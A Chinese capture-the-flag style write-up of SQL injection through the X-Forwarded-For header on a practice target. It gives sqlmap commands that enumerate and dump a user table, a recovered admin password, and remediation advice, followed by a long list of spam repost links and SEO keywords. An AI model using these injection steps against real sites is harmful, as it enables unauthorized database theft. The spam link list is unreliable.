当前位置： 首页 > news >正文 上海营销型企业网站深圳跨境电商公司排名 news 2025/11/6 5:23:55 上海营销型企业网站,深圳跨境电商公司排名,网站改版意见,怎么弄公司网站0x00环境介绍 靶机http://219.153.49.228:48033,通过注入完成找到网站的key。 1|00x01复现过程 1.访问网站使用admin/admin登入#xff0c;用burpsuite截包寻找注入点 截到的包#xff0c;正常放包回显内容 加X-forwarded-for:1.1.1.1回显IP数据改变…0x00环境介绍 靶机http://219.153.49.228:48033,通过注入完成找到网站的key。 1|00x01复现过程 1.访问网站使用admin/admin登入用burpsuite截包寻找注入点 截到的包正常放包回显内容 加X-forwarded-for:1.1.1.1回显IP数据改变可能存在注入点 2.保存post包进行sql注入 保存post包1.txt加上X-forwarded-for:*作为注入点在windows上使用sqlmap跑 暴库python sqlmap.py -r 1.txt --dbs –batch 开始试了很多次payload也换了几个了没成功后来发现请求头和请求体没有分开。 修改后 a.暴数据库 python sqlmap.py -r 1.txt --dbs b.暴数据表 python sqlmap.py -r 1.txt -D webcalendar --tables c.暴列表 python sqlmap.py -r 1.txt -D webcalendar -T user --columns d.暴字段 python sqlmap.py -r 1.txt -D webcalendar -T user “password” --dumps 3.使用admin/116012900登入拿到keymozhebb8300a328e13dd2abd55c5d8dd 1|10x02修复建议 (1)程序代码里的所有查询语句使用标准化的数据库查询语句API接口设定语句的参数进行过滤一些非法的字符防止用户输入恶意的字符传入到数据库中执行sql语句。 (2)对用户提交的的参数安全过滤像一些特殊的字符*……%#等等进行字符转义操作,以及编码的安全转换。 (3)网站的代码层编码尽量统一建议使用utf8编码如果代码里的编码都不一样会导致一些过滤被直接绕过。 (4)网站的数据类型必须确定是数字型就是数字型字符型就是字符型数据库里的存储字段类型也设置为ini型。 (5)对用户的操作权限进行安全限制普通用户只给普通权限管理员后台的操作权限要放开尽量减少对数据库的恶意攻击。 (6)网站的报错信息尽量不要返回给客户端比如一些字符错误数据库的报错信息尽可能的防止泄露给客户端。 1|20x03总结思考 首先通过回显页面异常找到对应的注入点将post文件保存然后使用sqlmap跑post包另外请求体和请求头一定要分开。 文章转载自： http://www.morning.xqkjp.cn.gov.cn.xqkjp.cn http://www.morning.zlrsy.cn.gov.cn.zlrsy.cn http://www.morning.xmwdt.cn.gov.cn.xmwdt.cn http://www.morning.phlwj.cn.gov.cn.phlwj.cn http://www.morning.fmtfj.cn.gov.cn.fmtfj.cn http://www.morning.mlcnh.cn.gov.cn.mlcnh.cn http://www.morning.bhpjc.cn.gov.cn.bhpjc.cn http://www.morning.jhqcr.cn.gov.cn.jhqcr.cn http://www.morning.ybnps.cn.gov.cn.ybnps.cn http://www.morning.wncb.cn.gov.cn.wncb.cn http://www.morning.yqjjn.cn.gov.cn.yqjjn.cn http://www.morning.rjmg.cn.gov.cn.rjmg.cn http://www.morning.frpb.cn.gov.cn.frpb.cn http://www.morning.xjmyq.com.gov.cn.xjmyq.com http://www.morning.gwtbn.cn.gov.cn.gwtbn.cn http://www.morning.xkyst.cn.gov.cn.xkyst.cn http://www.morning.rhph.cn.gov.cn.rhph.cn http://www.morning.clybn.cn.gov.cn.clybn.cn http://www.morning.yqfdl.cn.gov.cn.yqfdl.cn http://www.morning.rwfp.cn.gov.cn.rwfp.cn http://www.morning.sqmlw.cn.gov.cn.sqmlw.cn http://www.morning.rgyts.cn.gov.cn.rgyts.cn http://www.morning.ykmkz.cn.gov.cn.ykmkz.cn http://www.morning.wnqfz.cn.gov.cn.wnqfz.cn http://www.morning.dkqr.cn.gov.cn.dkqr.cn http://www.morning.rjyd.cn.gov.cn.rjyd.cn http://www.morning.lkthj.cn.gov.cn.lkthj.cn http://www.morning.jwrcz.cn.gov.cn.jwrcz.cn http://www.morning.zbpqq.cn.gov.cn.zbpqq.cn http://www.morning.ntgsg.cn.gov.cn.ntgsg.cn http://www.morning.qcsbs.cn.gov.cn.qcsbs.cn http://www.morning.piekr.com.gov.cn.piekr.com http://www.morning.zztmk.cn.gov.cn.zztmk.cn http://www.morning.ckxd.cn.gov.cn.ckxd.cn http://www.morning.rtspr.cn.gov.cn.rtspr.cn http://www.morning.trplf.cn.gov.cn.trplf.cn http://www.morning.nbgfk.cn.gov.cn.nbgfk.cn http://www.morning.gqtzb.cn.gov.cn.gqtzb.cn http://www.morning.rjljb.cn.gov.cn.rjljb.cn http://www.morning.lgwpm.cn.gov.cn.lgwpm.cn http://www.morning.cpqqf.cn.gov.cn.cpqqf.cn http://www.morning.tkcct.cn.gov.cn.tkcct.cn http://www.morning.ypqwm.cn.gov.cn.ypqwm.cn http://www.morning.tntqr.cn.gov.cn.tntqr.cn http://www.morning.wgtnz.cn.gov.cn.wgtnz.cn http://www.morning.gpcy.cn.gov.cn.gpcy.cn http://www.morning.prhfc.cn.gov.cn.prhfc.cn http://www.morning.kkgbs.cn.gov.cn.kkgbs.cn http://www.morning.qnzpg.cn.gov.cn.qnzpg.cn http://www.morning.ffdyy.cn.gov.cn.ffdyy.cn http://www.morning.bwznl.cn.gov.cn.bwznl.cn http://www.morning.qbgdy.cn.gov.cn.qbgdy.cn http://www.morning.wmglg.cn.gov.cn.wmglg.cn http://www.morning.yltyr.cn.gov.cn.yltyr.cn http://www.morning.tgwfn.cn.gov.cn.tgwfn.cn http://www.morning.wrtpk.cn.gov.cn.wrtpk.cn http://www.morning.jppb.cn.gov.cn.jppb.cn http://www.morning.gidmag.com.gov.cn.gidmag.com http://www.morning.cbmqq.cn.gov.cn.cbmqq.cn http://www.morning.0dirty.cn.gov.cn.0dirty.cn http://www.morning.wsyst.cn.gov.cn.wsyst.cn http://www.morning.rxzcl.cn.gov.cn.rxzcl.cn http://www.morning.yysqz.cn.gov.cn.yysqz.cn http://www.morning.ttdbr.cn.gov.cn.ttdbr.cn http://www.morning.bwgrd.cn.gov.cn.bwgrd.cn http://www.morning.ttcmdsg.cn.gov.cn.ttcmdsg.cn http://www.morning.cknws.cn.gov.cn.cknws.cn http://www.morning.lpskm.cn.gov.cn.lpskm.cn http://www.morning.jmlgk.cn.gov.cn.jmlgk.cn http://www.morning.cnwpb.cn.gov.cn.cnwpb.cn http://www.morning.cybch.cn.gov.cn.cybch.cn http://www.morning.knpmj.cn.gov.cn.knpmj.cn http://www.morning.gkgr.cn.gov.cn.gkgr.cn http://www.morning.rbsmm.cn.gov.cn.rbsmm.cn http://www.morning.sbwr.cn.gov.cn.sbwr.cn http://www.morning.sgfgz.cn.gov.cn.sgfgz.cn http://www.morning.xtqld.cn.gov.cn.xtqld.cn http://www.morning.sgpnz.cn.gov.cn.sgpnz.cn http://www.morning.bsqth.cn.gov.cn.bsqth.cn http://www.morning.lmrjn.cn.gov.cn.lmrjn.cn 查看全文 http://www.tj-hxxt.cn/news/281417.html 相关文章： 为何公司做的网站很丑wordpress支持大数据处理 营销网站怎么做合适动漫制作app 怎么制作网站布局怎么把自己的网站放到百度上 济南哪里有做网站的公司wordpress图库主题 网站地图 模板域名备案有什么用 怎么查网站建设是哪家公司培训网站建设学校 防城港网站设计北京国贸网站建设 蔚县网站建设河北省建设厅注册中心网站 安阳淘宝网站建设phpcms网站备份 律师网站建设 优帮云高等学校处网站建设总结 工装设计网站推荐网站制作职业 地方农村电商平台网站设计思路dw做简单小说网站 建设高端网站公司哪家好太原网站维护 个人作品网站怎么做宁夏交通建设股份有限公司网站 南昌做网站设计百度舆情系统 咸阳网站开发公司织梦cms安装教程 华电集团班组建设网站福州网络公司排名 南宁会员网站制作app开发公司价格表 珠海做网站开发html5高端网站建设织梦模板下载 德文网站建设从什么网站找做app的代码 济南市建设工程招投标协会网站广州googleseo网络营销 信息发布网站建设过年做哪个网站能致富 临沂建网站多少钱网站换域名能换不 统一企业信息管理系统网站做网站学习 深圳网站制作公司售后服务wordpress文章内图片幻灯片 网站文章不收录怎么做最新搜索关键词 深圳网站建设案好听的广告公司名称 商丘网站建设和制作网站没备案会怎么样 深圳企业网站建设哪家好海口市住房和城乡建设局网站 萧江网站建设洛阳有做网站开发的吗
